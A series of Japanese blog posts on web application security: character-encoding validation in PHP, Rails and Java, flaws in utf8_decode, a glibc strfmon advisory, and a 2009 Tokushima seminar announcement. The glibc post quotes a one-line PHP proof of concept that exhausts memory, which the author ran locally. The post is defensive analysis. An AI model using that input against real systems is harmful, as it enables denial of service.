{ "MacRoman", cs_macroman },
{ NULL }
};
不完全ではありましたがPHP4の頃から文字エンコーディングを考慮したHTMLエスケープは行われていました。長い年月の間にエンコーディングサポートが次々に追加され、今は上記の文字エンコーディングを考慮したHTMLエスケープが可能になっています。UTF-8は勿論、日本で広く利用されているShift_JIS, EUC-JPもサポートされています。mbstringモジュールが利用可能であれば、mbstringも利用されるコードになっています。mbstring.internal_encodingが設定されていれば、そのエンコーディングにあったHTMLエスケープが行われるようになっています。(つまり、mbstringを使っている方がより良いエスケープ処理を期待できる。しかし、この辺りの動作はPHP 5.3/6で変っている)
#if HAVE_MBSTRING
#if !defined(COMPILE_DL_MBSTRING)
/* XXX: Ugly things. Why don't we look for a more sophisticated way? */ switch (MBSTRG(current_internal_encoding)) {
case mbfl_no_encoding_8859_1:
return cs_8859_1;
case mbfl_no_encoding_utf8:
return cs_utf_8;
セキュリティ専門家が勧めるようにエスケープできる文字列は全てエスケープする、というコーディングポリシーを守っていればHTMLエスケープするだけで文字エンコーディング攻撃に対して強くなります。このポリシーではなくても、エスケープするデータ=ユーザが送信した生データ、であるので攻撃される箇所は減ります。Ruby 1.9では正規表現で不正な文字エンコーディングを検出するのでPHPと同じような状況にあると言えると思います。
htmlentitiesやhtmlspecialcharsを利用していれば、入出力のバリデーションで文字エンコーディングのチェックをしなくても良いということでは無いので誤解しないで下さい。CSSやJavaScriptへの出力にもエスケープは必要です。エスケープ関数でのチェックは入出力でバリデーションもしない開発者の為のフェイルセーフ機能だと思っておくべきです。
PHPも.NetのMicrosoft.Security.Applicationで利用できるAntiXSS(HtmlEncode, HtmlAttributeEncode, CssEncode, JavaScriptEncode,UrlEncode,XmlEncode, XmlAttributeEncode,VisualBasicScriptEncodeとそれぞれに必要なエスケープ(エンコード)処理とデコード処理がある。名前も解り易い)のような仕組みを実装を標準ですべきだと思うのですが先は長そうです。「自分で作くれば」という声が聞こえてきそうですね... とにかく、必要な関数が用意されるまではフレームワークで同等の物を用意している場合も多いのでそれらを利用するようにすると良いでしょう。
Javaの場合、言語が生まれた時から文字エンコーディングはUnicodeと決まっているので不正な文字エンコーディングでの攻撃は冗長なエンコーディング以外は難しくなっています。昔Shift_JISの取り扱いが問題になったりしましたが、文字エンコーディング問題では結局文字エンコーディングを決め打ちしていたJava環境が最も安心感があるプラットフォームだと思います。
UnicodeにはUnicodeの問題がありますが、私を含め多くの方が問題を少しでも簡単にする為にUnicodeに文字エンコーディングを統一する事を勧めています。
互いに良い部分はどんどん取り込んで安全なWebサイトが当たり前のように作られるようになれば良いです。
関連エントリ
フィードバックはまだありません...
コメントを残す
出力文字エンコーディングのバリデーション
前のエントリで「書かない日記」の名前通り、出力文字エンコーディングのバリデーションについてあまりに書かなさすぎで何の事やら分からない方も居たと思います。もう少し詳しく書きます。出力バッファとエラーハンドラで出力文字エンコーディングを簡単にバリデーションできます。
...
PHPで出力文字エンコーディングをバリデーション
ステップ1: エラーハンドラを登録
function myErrorHandler($errno, $errstr, $errfile, $errline) {
// 出力バッファをクリア - header()で送信したヘッダもクリア
ob_end_clean();
// エラーメッセージ - もちろんエラーの種類に合わせたHTMLでも良い
echo "Some thing goes wrong.";
// 本来はエラーログを取るべきですが省略
exit; // 全てのエラーでスクリプトの実行は停止すべき
}
set_error_handler('myErrorHandler'); // ハンドラを登録
ステップ2: 出力バッファハンドラを登録
function myOutputHandler($output) {
// 実用コードではContent-Typeやスクリプトのチェックが必用
if (!mb_check_encoding($output)) { // 文字エンコーディングが不正
trigger_error('Invalid char encoding', E_USER_ERROR);
exit; // 念のため
}
return $output; // OK
}
ob_start('myOutputHandler'); // ハンドラを登録してバッファ開始
// デフォルトで全部バッファリング
前提事項など
- ハンドラの登録は出力が始まる前に行う
- php.iniのmbstring.mb_internal_encodingで文字エンコーディングが設定されている
- アプリの中でエラーハンドラが登録されていない(エラーでバッファクリア&スクリプト停止となるハンドラならそのまま利用可能)
- アプリの中で出力バッファにob_gz_handler(圧縮ハンドラ)が登録されない
- アプリがマルチバイト文字の途中で切り捨てるような動作をしない
- データベースなど既にある出力用データの文字エンコーディングが正しい
- テキスト以外を送る場合、Content-Type/スクリプト名等でエンコーディングチェックの有無を指定するコードが必用
PHP4/5、両方で利用できるはずです。しかし、ドキュメントされていない様々な落とし穴があるのでPHPはできるかぎり最新版を使いましょう。
PHP4では送信済みのヘッダを取得するhaders_list()関数が利用できません。したがってContent-Typeは判別できません。しかし、テキスト以外を送信するスクリプトはそれほど多くないはずです。ホワイトリストで除外すると良いです。
アプリによっては他の注意事項もあるかも知れませんし、コードはブログに直接記入した非常に単純なサンプルコードです。適宜必用なカスタマイズを行って利用してください。今動作しているアプリでも動作しなくなるケースも少なくないでしょう。必用なログコードの追加やコンテンツのチェックの追加等を行い、十分テストしてから利用してください。
しかし、ある程度アプリの中身さえ知っていればphp.iniのauto_prepend_file設定などでエラーハンドラと出力バッファハンドラを登録するスクリプトを読み込んで、アプリ本体のコードに手を加えず出力時にバリデーションできるようになるアプリケーションは多くあります。
ETagの値を取得するために出力全体を保存しているRailsでも、同じような仕組みにする事は比較的簡単だと思います。ETag生成のコードで「たまたま」例外が発生するようなコードだと危うく感じます。
出力時だけバリデーションするとDoS攻撃に脆弱になります。入力と出力、両方でチェックし、出力時のチェックはフェイルセーフ対策とすると万全でしょう。
言語の文字列関数などによる自動チェック
文字列関数などによる文字エンコーディングの自動チェックは不必要、とまでは言いませんが在ったら便利程度の機能(フェイルセーフ機能)と思っています。※ どのような状態になれば「出力する文字列が安全か?」、入力でも出力でもなく、プログラムの処理の中で一つ一つチェックして安全性を確認する事と入力・出力時に確認して安全である事を確認する事、どちらが簡単かは説明の必用も無いと思います。
安全性のためには無駄は受け入れるべきという考え方ですが、全ての文字列操作で文字エンコーディングのバリデーションを行い、文字列を繰り返しバリデーションする仕様には無駄が非常に多いとも感じています。実際、無駄が非常に大きいので全ての文字列操作で文字エンコーディングのバリデーションが行われるようにはならないでしょう。仮に全ての文字列操作でバリデーションしたとしても、プログラミング言語はバイナリも取り扱います。銃に安全装置を付けてもShooting your own footのような行為は防げません。
プログラマが入力と出力をしっかり制御していれば、攻撃可能な脆弱性を作ってしまう可能性は大きく低下します。自動チェックなど基本的にはあてにすべきではありません。
OWASPではESAPI (Enterprise Security API)の開発が進められています。このAPIも私の考えと全く同じ理由とセキュリティ維持のコンセプトで開発されています。
ESAPIのコンセプトは良いのですが、言語によっては実装がイマイチな部分があります。しかし、時間と共に改善すると思います。このようなAPIが一般的になれば随分セキュリティは向上すると思います。
※なので、Ruby 1.8, Perl, Python3未満,PHP6未満がこの点で言語仕様的に大きく劣っているとは思っていません。
フィードバックはまだありません...
コメントを残す
「オープンセミナー2009@徳島」 開催のお知らせ
恒例の「オープンセミナー2009@徳島」が10/3(土曜)に開催されます。毎年パワーアップしている無料セミナーです。徳島近郊の方は是非ご参加ください。転載自由です。興味がある方へお知らせ、転送頂けると助かります。
追記:懇親会費が変更されました!4000円→4500円です。ご注意ください。
...
「オープンセミナー2009@徳島」 開催のお知らせ
NPO法人 日本PostgreSQLユーザ会
瀬戸内Linuxユーザ会
四国BSDユーザ会
日本Androidの会中国・四国地方では数少ないオープンソース/インターネット/セキュリティをテーマにしたオープンソースユーザ会による無料セミナーです。ご都合の良い方は是非ご参加ください。印刷物が必要な方は予め印刷しお持ち頂けますようお願いいたします。公開可能なセミナー資料は以下のURLに掲載予定です。
http://www.postgresql.jp/branch/shikoku/
昨年は「オープンセミナー2008@徳島」として開催され、今年で3回目になりました。オープンソースやインターネットに興味をお持ちの技術者、管理者、情報系学科の学生を対象としたセミナーです。
当日夜に徳島駅近辺にて懇親会も予定しています。予約を行うため懇親会の参加には申し込みが必要です。懇親会に参加をご希望の方はATNDへ登録、または問合せ先にEメールでご連絡下さい。(メール末尾を参照。懇親会のみの参加も歓迎です)記
オープンセミナー2009@徳島
主催:
日本PostgreSQLユーザ会 四国支部(JPUG)
瀬戸内Linuxユーザ会(STLUG)
四国BSDユーザ会(S*BUG)
日本Androidの会(JAG)
参加団体:
オープンセミナー@岡山実行委員会
OpenSlide Project
オープンフォース
オープンラボ岡山
岡山Javaユーザ会
四国大学 経営情報学部
徳島大学 総合科学部
徳島プログラミングフリークス
マイクロソフト株式会社
(五十音順)
開催日: 2009年10月3日(土) 13:00 〜 18:00(12:30受付開始)
開催場所: 徳島市 シビックセンター(4Fホール)
http://www.civic-center.jp/
アクセス: JR徳島駅より徒歩3分
http://www.civic-center.jp/place/civic-5_map.html
会費: 無料
懇親会: JR徳島駅近辺(18:30 〜 )
プログラム:
12:30 - 13:00 受付開始
13:00 - 13:30 「オープンソースEC・Magento」
海外で高い評価を受けているオープンソースEC・Magentoの紹介をします。
機能説明と導入事例を合わせて行います。
西 宏和 / Magento-JP Users Group
13:40 - 14:10 「ブリッジPCを使ったXSS対策 」
坂本典大 / オープンフォース / 南部製作所
14:20 - 14:50 「スライド共有システム OpenSlide の紹介」
堀 幸雄 / OpenSlide Project
15:00 - 15:30 「Androidの最新動向と日本Androidの会の活動について」
Google発のオープンモバイルプラットフォーム「Android」の最新動向と、日本最大級のAndroidユーザコミュニティである「日本Androidの会」の活動について、ご紹介致します。
瀬戸 直喜 / 日本Androidの会 幹事・四国支部長
15:40 - 16:30 「Linux ユーザーのための Windows Server 入門とWindows PowerShellのご紹介」
Linux ユーザーが Windows Server を使い始めたときに戸惑いがちなところを解説するとともに、強力な味方となる Windows PowerShell をご紹介します。
田辺 茂也 / マイクロソフト株式会社 エバンジェリスト
16:40 - 17:30 「plproxy+pgbouncer の使い方」
Skype社が開発したplproxyとpgbouncer を使ったレプリケーション、および、パーティショニングの仕方についてご紹介します。
桑村 潤 / 日本PostgreSQLユーザ会しくみ分科会
17:35 - 17:55 ライトニングトーク
「地方私立大が地域のFLOSSコミュニティに貢献できることを考えてみた」
戸川 聡 / 四国大学 経営情報学部
「iPhone 学習支援アプリ」
田尾 香苗 / 徳島大学 総合科学部
18:00 閉会の挨拶
----------------------------------------------------------------------------------
オープンセミナー@岡山実行委員会
http://openseminar.okaya.ma/
OpenSlide Project
http://oslide.sourceforge.net/index_ja.html
オープンフォース
http://openforce.project2108.com/
オープンラボ岡山
http://openlab.okaya.ma/
岡山Javaユーザ会
http://java.okaya.ma/
四国大学 経営情報学部
http://www2.shikoku-u.ac.jp/keiei/
四国BSDユーザ会
http://flathill.gr.jp/sbug/
瀬戸内Linuxユーザ会
http://www.stlug.org/
徳島大学 総合科学部
http://www.ias.tokushima-u.ac.jp/
徳島プログラミングフリークス
http://tpf.techtalk.jp/
日本Androidの会
http://www.android-group.jp/
日本PostgreSQLユーザ会
http://www.postgresql.jp/
マイクロソフト株式会社
http://www.microsoft.com/japan/
(五十音順)
----------------------------------------------------------------------------------
問い合わせ先
NPO法人 日本PostgreSQLユーザ会 四国支部(株式会社 Result 内)
四国支部 支部長 山下 武志
087-832-5527 / yamashita@result.co.jp
----------------------------------------------------------------------------------
懇親会費は約4500円を予定しています。会場から徒歩で移動可能な居酒屋などを予定しています。懇親会参加をご希望の方はATNDへご登録、または以下のメールをお送りください。
ATND URL : http://atnd.org/events/1610
................................................................
To: tyama@mbp.ocn.ne.jp
Subject: [オープンセミナー2009@四国 懇親会 参加申込]
--------------------
※氏名(ふりがな): ( )
※E-Mail:
................................................................
フィードバックはまだありません...
コメントを残す
Rails+Ruby 1.9では不正な文字エンコーディング攻撃で脆弱にならない理由
Rails+Ruby 1.9では不正な文字エンコーディング攻撃で脆弱にならない理由を詳しく解説されたブログエントリをまっちゃさんのブログで知りました。 入力で特には何もしていない事は知っていたので、出力時のどこかで全体をチェックできるような仕組みになっているのでは?と思っていたのですが、ETagの値を生成するコードの正規表現で例外が発生する、という事だそうです。
...
なぜRuby 1.9でエラーが起きるのか
ActionController::Response#etag= メソッドの定義は下記のとおりです。
def etag=(etag)
if etag.blank?
headers.delete('ETag')
else
headers['ETag'] = %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(etag))}")
end
end調べると、このメソッドに渡される引数はレスポンスボディ文字列(HTML)でした。レスポンスボディがごっそり渡され、そのMD5ダイジェストがETagヘッダとして使われます(ActiveSupport::Cache.expand_cache_key は追っていません)。
さて、ここで etag.blank?、すなわち String#blank? の定義を見てみましょう。これは、active_support/core_ext/blank.rb によって追加されるメソッドです。
class String
def blank?
self !~ /\S/
end
end正規表現によるマッチングが行われています。なんと、ここで例外が発生するのです!(このRuby 1.9の挙動については、徳丸さんの前掲記事で指摘されているとおりです)
試しに:
class String
def blank?
self == ''
end
endとしたら例外は起きず、Ruby 1.8(パッチ適用前)のスクリーンショットと同じ状態になりました。
調べようと思っていたのですが、調べずに済みました :)
PHPで似た様な動作をさせる - あまりお勧めできないサニタイズ
PHPで、似た様な動作にしたい場合(ブラウザ以外からの入力も怪しいなど)出力時に強制的に文字エンコーディング変換してしまえば良いです。例えば、
mbstring.internal_encoding = utf-8
mbstring.http_output = utf-8
と出力文字エンコーディングを指定すると不正な文字列はサニタイズされます。この設定だけでは不十分なので実際に出力文字エンコーディングを変換したい方は追記のリンク先を参照して下さい。
ただし、http_outputをpass以外に設定すると副作用が発生するので注意が必要です。例えば、画像ファイルをUTF-8エンコーディングに変換すると確実に壊れます。
必要な文字が不正なマルチバイト文字によって消えてしまう可能性があります。これによりJavaScriptインジェクションが可能となる場合もあるので注意が必要です。
PHPで出力文字エンコーディングをバリデーションする - お勧め
PHPは出力バッファを利用してユーザ定義の出力バッファハンドラを設定できます。出力時にも文字エンコーディングバリデーションを導入したい場合、サニタイズするmbstring.http_output(これも内部的には出力バッファハンドラ)よりもユーザ定義の出力バッファハンドラを用いた方が良いでしょう。この方法であればリスクを伴うサニタイズでなくより安全なバリデーションが可能です。不正エンコーディングでエラーイベントを発生、バッファをクリアし、適切なエラーページを表示させる事ができます。
ユーザ定義の出力バッファハンドラの中身には
if (!mb_check_encoding($output)) {
trigger_error('Invalid char encoding detected', E_USER_ERROR);
exit; // Make sure exit script!
}
などと記述し、ユーザ定義エラーハンドラでエラーを捕捉するようにします。例外を使いたい方は例外でも構いません。
この方法にも注意事項があります。PHPの出力バッファはネストさせる事が可能です。圧縮用のバッファは最後に適用される必要があります。圧縮したコンテンツの文字エンコーディングチェックをしても意味がありません。圧縮ハンドラを利用している場合、文字エンコーディングチェック用のハンドラは圧縮ハンドラの直前に適用するように調整します。それ以外は出来る限り最後になるように調整すると良いでしょう。詳しい出力バッファハンドラ、エラーハンドラ、例外の使い方はPHPマニュアルを参照してください。
アプリのコードを触りたく無い場合でもauto_prepend_file等をphp.iniから設定して、必要な出力ハンドラを登録してバリデーションを行い、適切なエラーを返すようにする事も可能です。イメージ出力などのスクリプトのみ出力エンコーディングのバリデーションをしないようにすればOKです。php.ini設定を行うにはphp.iniを使う方法、httpd.conf, .htaccessを使う方法、スクリプトから設定する方法など色々あります。こちらも詳しくはPHPマニュアルを参照して下さい。
入力と出力、両方でチェックできるなら両方でチェックする方がより安全です。動作を正しく理解した上で使えば問題も発生しません。PHPの場合、ほんの少しのコード/設定変更でかなり文字エンコーディング攻撃に強いアプリケーションになります。
おまけ
「出力でチェックできるなら、入力でのチェックは省略してもいいかな?」と考える方も居ると思います。これは多重のセキュリティを実装する上でお勧め出来ません。
出力時のバリデーションで自分が担当しているアプリの安全性を担保できても、それ以外のアプリはどうでしょうか?利用するデータ(DBMSも設定次第で不正な文字エンコーディングを含むデータが保存可能)やファイルへ不正な文字エンコーディングを含むデータが無いようにする為に入力時のバリデーションは欠かせません。
Rails+Ruby 1.9で不正な文字エンコーディング攻撃ができない理由を調べた岩本さんは「ますますRailsを使う気が失せました」と書かれています。私と同様にこのような状況を想定されているのでしょう。
不正な文字エンコーディングで出力時にエラーにするとDoSの問題も発生します。不正なユーザコメントでページが表示できなくなってもよい、というサイトは少ないでしょう。最後の手段として出力時に不正な文字エンコーディングを検出してエラーにして被害を抑える、という考え方で対処すべきです。
追記: 自分が作るユーザ定義エラーハンドラは必ず"exit"するのですが、他のエラーのハンドラの場合exitするとは限らないのでユーザ定義エラーハンドラでも大丈夫なようにexitを追加しました。本当は、エラーハンドラで全ての出力バッファをクリアし、適切なエラーページを表示する方法が一番好ましいです。多くの説明が必要なので省略しています。
新しく書いた http://blog.ohgaki.net/-27 には少し詳しく書いています。
追記:komuraさんが非常に良いフォローアップをされているので、こちらも参考にして下さい。出力時にも文字エンコーディングチェックした方が良い、という事だけ書きたかったのでかなり省略(ブログのサブタイトルの通り:) していますが、komuraさんのこのエントリを読めば具体的にどうすれば良いのか分かると思います。
http://d.hatena.ne.jp/t_komura/20090927/1254057044
しかし、コンテントタイプの事は書いている時は失念していました。komuraさんはmbstringの動作に非常に詳しい方なので助かります :)
フィードバックはまだありません...
コメントを残す
#PHP でもutf8_decodeは使ってはならない
Twitterで書いた方が良いようなエントリですが、たまには良いでしょう。
#perl - utf8::decode()ではなくEncode::decode_utf8()を使うべき理由
という記事がありました。PHPにも似た関数、utf8_decodeがあります。PHPでも使ってはなりません。日本人というよりマルチバイト圏で使っている人はほとんどいないはずです。理由はコードを見れば一目瞭然です。
...
/* All the encoding functions are set to NULL right now, since all
* the encoding is currently done internally by expat/xmltok.
*/
xml_encoding xml_encodings[] = {
{ "ISO-8859-1", xml_decode_iso_8859_1, xml_encode_iso_8859_1 },
{ "US-ASCII", xml_decode_us_ascii, xml_encode_us_ascii },
{ "UTF-8", NULL, NULL },
{ NULL, NULL, NULL }
};
ext/xml/xml.c - PHP 5.2.11より
ここで定義されているISO-8859-1, US-ASCII, UTF-8がPHPのXMLモジュールのutf8_decode/utf8_encodeでサポートしている文字エンコーディングです。それ以外はデコードもエンコードもされず、そのままの文字列が返ります。実装も文字エンコーディングチェックに使える様な実装ではありません。
Perlの方はどうなっているかソースを見てみました。以下のC関数がデコードする関数です。
bool
Perl_sv_utf8_decode(pTHX_ register SV *sv)
{
if (SvPOKp(sv)) {
const U8 *c;
const U8 *e;
/* The octets may have got themselves encoded - get them back as
* bytes
*/
if (!sv_utf8_downgrade(sv, TRUE))
return FALSE;
/* it is actually just a matter of turning the utf8 flag on, but
* we want to make sure everything inside is valid utf8 first.
*/
c = (const U8 *) SvPVX_const(sv);
if (!is_utf8_string((U8 *)c, SvCUR(sv)+1))
return FALSE;
e = (const U8 *) SvEND(sv);
while (c < e) {
const U8 ch = *c++;
if (!UTF8_IS_INVARIANT(ch)) {
SvUTF8_on(sv);
break;
}
}
}
return TRUE;
}
universal.c - perl 5.8.9より
これだけ見ても分からないと思いますが、マクロの定義を見ていくと文字エンコーディングのチェックに使えない事は直ぐに分かります。
シングルバイト圏の人が作った関数とはこんな感じで、どの言語でも同じ様なものなのかも知れません。と思ってRubyのコードを覗いてみました。1.8, 1.9共にlib/rexmlにutf8_decodeが定義されています。
module REXML
module Encoding
def encode_utf8 content
content
end
def decode_utf8(str)
str
end
register(UTF_8) do |obj|
class << obj
alias decode decode_utf8
alias encode encode_utf8
end
end
end
end
ruby-1.9.1-p243/lib/rexml/encodings/UTF-8.rb より(1.8.7でも同じ)
詳しく調べませんでしたが、Rubyでは文字列をそのまま返しています。別の仕組みで文字エンコーディングチェックはできるとしても、decode_utf8では無理なようです。
全ての文字列系の関数で文字エンコーディングチェックが行われる(行える)と考えるない方が良いことが分かります。
フィードバックはまだありません...
コメントを残す
glibcの脆弱性で大量のメモリが割り当てられる - セキュリティ専門家は基盤ソフトウェアに期待させてはならない
最近この種のエントリがありませんでしたが、個人的に面白いとセキュリティ系の話題はできるだけ書いていきたいと思っています。
glibcのstrfmon関数の実装に脆弱性があり、簡単なスクリプトで大量のメモリが割り当てられる脆弱性があるようです。影響するglibcは2.10.1以下なので影響範囲は非常に大きいです。
最初はBSDのlibcで脆弱性が発見され、glibcでも影響があることは脆弱性の発見者には分かっていたようです。詳細はアドバイザリに記載されています。
http://packetstormsecurity.org/0909-advisories/glibc-format.txt
...
詳しい説明はアドバイザリを読んで頂くとして、当初はBSD系OSのglibcで問題が発見されたそうです。NetBSD, FreeBSDとMacOSXに脆弱性レポートを送ったそうですが、修正されたのはNetBSDだけだったそうです。この脆弱性の危険性はglibcの開発チームにも伝えられたがglibc開発者にBogus(偽物)として取り扱われたと書かれています。
And what exactly does an BSD implementation has to do with glibc?
(で、具体的にどうしてBSD実装の問題がglibcに関係してるのかい?)
というレスポンスだったそうです。脆弱性の発見者はglibcのコードにも問題があるから、バグレポートを送信したのですがありがちなレスポンスです。PoCを作ることは面倒です。コードから分かるような脆弱性はPoC無し(さらにはAtack Vector無し)でも修正すべきですが、PoCが無いと開発者はなかなか動いてくれないのはどのプロジェクトでも一緒です。(PoCがあっても動かない場合も...)
この様な事例は少なくありません。この事例は「基盤システムや周辺システム、フレームワーク、ライブラリがアプリケーションを守ってくれるべき」という考え方をベースしていては安全なシステム作りは遠のくばかりである、とする私の考え方の正しさを証明する多数の事例のうちの一つだと言えるでしょう。
PoCがアドバイザリに書いてあったので試してみました。
php -r 'money_format("%.1073741821i",1);'
スワップがどんどん大きくなるところまでは確認しました。8GB積んだPCですが、Momonga Linux 64bit版なので本当にメモリとディスクスペースが無くなるまで メモリを使うと考えられます。Segfaultまでは確認しませんでした。
PoCの引数はstrfmonを使った通貨をフォーマットする引数としては明らかにおかしな形式です。攻撃用のプログラムをシステム上で実行されたらどうしようもありませんが、アプリケーションが「適切」に入力をバリデーションしていればアプリケーションユーザからDoSを行われる危険性はありません。
(解り易い書き方をすると、PHPプログラムでユーザが通貨フォーマットを指定可能、そしてバリデーションをしない、という条件さえ整えば非常に簡単にリモートからDoS攻撃を行える、脆弱性です。当然ですが根本的な問題はPHPの問題でなくlibcのstrfmon関数の問題であり、この関数を利用しているアプリケーション全般に適用できる問題です。)
アプリケーションが"適切にバリデーション"していれば、アプリ自身のみでなく周辺プログラムの"脆弱性"が”セキュリティホール”にならない例は幾らでもあります。ソースコードレベルの監査を行っている人であれば沢山の同様の事例を知っているはずなので良く理解できる話だと思います。

少し前に文字エンコーディングのバリデーションはどこで行うべきかを解説したエントリで使った図です。バリデーションは文字エンコーディングにだけ必用なものではありません。この図の中にには数えきらないほどの入出力先が省略されています。今回の例はOSの基本ライブラリであるlibc/glibcへの不正な出力が問題の引き金でした。このケースもユーザ入力を許可していたとしても普通のバリデーションを行っていれば基盤ソフトの問題(脆弱性)が本当のセキュリティ問題(セキュリティホール)とならない例の一つです。
アドバイザリの通りだとすると#の直後に.が記述された場合に脆弱、つまり、通貨の表示形式のようなフォーマットであれば普通の形式バリデーションで弾けます。テストファースト、TDDとか流行っているのにどうして安全性を向上させるためバリデーションの一つや二つ増やす事が流行らないのか?どうすれば流行るのでしょうね。
アプリケーションでやるべきセキュリティ対策はアプリケーションでやってあたり前である、とセキュリティ専門家やアプリケーション開発の経験者は啓蒙すべきだと思います。アプリケーションにセキュリティホールが無いように作れるのはアプリケーション開発者である、やるべき事はアプリケーションでやり「多重のセキュリティ」により多少のミスがあっても攻撃されないか攻撃され辛いシステムを作る。このように心がけるようにすれば必要以上に複雑に感じられるアプリケーションのセキュリティ対策は非常にシンプルになります。
おまけ
アドバイザリに
Interesting is that the PHP memory_limit has no control over what will happens
in the level of the libc. Function strfmon(3) can allocate a lot of data in
memory without control by PHP memory_limit.
(PHPのmemory_limit制限はlibcのレベルで何をしようと制御されない事は興味深い。strfmon(3)関数はPHPのmemory_limit制御を超える大量のメモリを割り当てる事ができる)
と書いてありました。PHPをPoCに使っているのでPHPの脆弱性もコードレベルで監査しているか、PHPを使っている方なのでしょう。PHPのmemory_limit制限は"PHPが使ったメモリ"しか計算しません。具体的にはPHPのアプリケーションフレームワーク(言語エンジン、C言語のSAPIやモジュールを作るフレームワーク)で利用されているmalloc等のラッパー関数であるemalloc等で確保したメモリだけしか計算に入れません。
glibcやmysql, postgresqlなどのライブラリが確保したメモリやモジュールとして動作している親のアプリケーション(Apache Web Server等)のメモリ使用量は全く考慮されません。
基本的な知識ですが、仕組みを理解していないと誤解する部分です。
2 コメント
他のBSDで見つけちゃったらglibcにも"同じような"脆弱性があった、と言う話のようです。"同じ"ではなく"同じような"脆弱性という事がミソですね。BSD用のアドバイザリは見ていませんが、このアドバイザリからするとそのようです。
しかし、NetBSDしか直ってない(FreeBSD, OSXは脆弱)、Linuxも最新glibcが必要、とはセキュリティに興味がある人には美味しい(?!)ネタかと思います。
コメントを残す
ブログアプリ(b2evolution)をアップグレード
お願い: 特定のページが文字化けする問題があります。一応確認したのですが残っていた場合、教えてください。(追記:恐らく「ツール」-「いろいろ」-「Delete pre-renderered item cache.」でキャッシュを削除すると文字化けしなくなると思います。これからアップグレードする人は試してみて下さい)
b2evolutionというマイナー(?)なブログアプリを使っています。しばらく、アップグレードを怠っている間にサポート対象のバージョンでは無くなっていたので連休を機会にアップグレードしました。b2evolutionを選択したのは当時入力のバリデーションをしていたブログアプリはこれしか無かった事が理由です。
2.4.xの最終版から3.3.1にバージョンアップしました。非常に簡単でいつもの通り、新しいバージョンのファイルを上書きしてインストールスクリプトを動かしアップグレードを選択するだけです。データが多いと変換に長い時間がかかります。気長に待ちましょう。念のためにphp.iniのmax_execution_timeの設定を確認しておいた方が良いでしょう。変更不可能に設定されている場合、アップグレードに失敗する可能性があります。
このバージョンでは気になっていた部分が改善されているようです。ユーザビリティもWYSIWYGエディがが付いたり最近のブログらしくなっています。細かい機能アップは非常に便利です。画像の場所がエントリの先頭に固定であることを除けば、画像サイズの自動調整も入ったようで、写真や画像を貼る人には便利になっています。添付ファイルも同じようにエントリに添付として付けると先頭にリンクを表示してくれるのではないかと思います。
日本語周りはそのまま利用するには問題が多かったのですが、動作をみる限りでは随分よくなったようです。現状のステイブル版(3.3.1)をインストールして基本の設定ファイル(conf/_basic_config.php)を通常通りに設定すると同時に、ロケールファイル(conf/_locale.php)を少しだけ修正して使っています。ロケールファイルの修正は文字エンコーディング設定を全て"utf-8"に設定しただけです。
この為、もしかすると問題が発生するかも知れません。もし、文字化けなどの問題に気がついた方がいらしたら教えていただけると助かります。
余裕がなくて日本語化を全くしないで使っていましたが、今回は日本語ファイルも入れました。
http://blogs.da-cha.jp/momokuri.php/2008/10/13/b2evolution_2-4-5_japanese_message_trans
en-USロケールがデフォルトにしていますが、ja-JPロケールファイルを見てくれるようです。三浦さん日本語ファイルありがとうございます。
b2evolution 3.3は編集が便利になっているので日本語さえキチンと使えればアップグレードする価値はあります。問題は日本語が問題なく使えるか?ですが、まだテストできていません...
追記:
ブラウザの言語設定によってはいつもの、おかしな文字化けが発生するようです。言語設定を色々替えて試してみました。特に問題はないようです。文字化けしている、と勘違いしたのはバリデーションサービスの方の問題でした。コメントからメールを送信してみましたがコンタクトやフィードバックはutf-8で送信しThunderbirdでは読める形で送ってくれました。一応、日本語環境で使う為に大きな不自由はない状態にはなっているようです。
随分長い間放置していた、Linux版Firefoxではテキストボックスとテキストエリアが大きくなる理由を調べてみましたが、Linux版では一文字の幅を全角で計算しているようです。この為、テキストボックスとテキストエリアのcols等の文字数で指定すると横幅が倍になるようです。これ、FAQだったような... Googleの検索ボックスはスキンのCSSで強制的に横幅を設定してしまいましたが、テキストエリアの出力はスキンではないので修正するかどうか迷っています。プログラムの出力を修正するとバージョンアップの度に修正が必用となるからです。
フィードバックはまだありません...
コメントを残す
Flashのバージョン - このブログの閲覧者の半分は脆弱...
フラッシュのバージョンチェックがFirefoxに追加されました。ようやくと言う感じです。MozillaプロジェクトよりAdobeがもっと頻繁にバージョンアップのチェックを行うようにすべきだと思います。 脆弱なWindowsXP, Flash, PDFは攻撃対象の三種の神器と言っても良い(?)くらい攻撃対象になっています。 久しぶりにこのブログの読者がどれくらい新しいFlashを使っているのか、Google Analyticsで見てみました。

半分くらいは脆弱です... 皆さん、FlashとPDF(PDFも忘れずに!)のバージョンアップをしましょう。 Firefoxを使っている方、IEの方のFlashのアップデートもお忘れなく。一緒にアップグレードされません。過去にFirefoxからIEの脆弱なFlashを悪用する攻撃もありました。使っていないからと言って安心出来ません。
フラッシュのバージョンチェック
http://www.adobe.com/jp/support/flashplayer/ts/documents/tn_15507.htm
フラッシュのアップグレード
http://get.adobe.com/jp/flashplayer/
フィードバックはまだありません...
コメントを残す
セキュリティ対策を行うべき部分 - 自分が作っている部分
アプリケーション開発者がセキュリティ対策を行うべき部分とはどこか?当たり前ですがアプリケーションです。アプリケーションとは広い意味でのアプリケーションです。Webアプリの場合もあれば、ライブラリやモジュールであったり、フレームワークであったり、言語やサーバの場合もあります。
すべてのアプリケーション開発者が同じような意識を持ち、アプリケーションが安全に動作するようの作る責任はアプリケーションにあると責任感を持って開発すべき、と言いたいところですが実際には難しいです。
例えば、開発を始めたばかりの初心者であれば無理があります。どう作れば安全か、危険か、判断する基準がないからです。経験を積んだ開発者でも自分が作った事もない様なプラットフォーム上でどのように作れば安全か判断できません。
何故、セキュリティが分かり辛いのか?その一つ理由が「セキュリティ対策を行うべき部分 - 自分が作っている部分」と言う意識が足りないからだと考えています。
...
Djangoの例
本来はWebアプリケーションのセキュリティ問題ではない例を紹介します。
DjangoというPythonのフレームワークにはX-FORWARDED-FORの内容がREMOTE_ADDRに上書きされる、という設計上のセキュリティホールがあります。比較的最近CVEが登録されいます。Djangoの開発チームは新しいバージョンではこの問題が修正しましたが1.0系は修正しない方針です。
私もこのような脆弱性があると知らなかったら、REMOTE_ADDRはTCP/IPレベルで設定された値なので信頼できると判断して「内部ネットワーク」という設定を用意し、特定のネットワークからは管理用の操作ができるようなアプリケーションを作ってしまうかも知れません。
